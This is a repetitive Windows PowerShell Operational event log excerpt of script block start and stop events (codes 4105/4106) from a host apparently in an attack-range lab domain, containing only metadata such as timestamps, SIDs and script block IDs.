Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038917
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038911
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038889
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038887
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038886
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038869
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
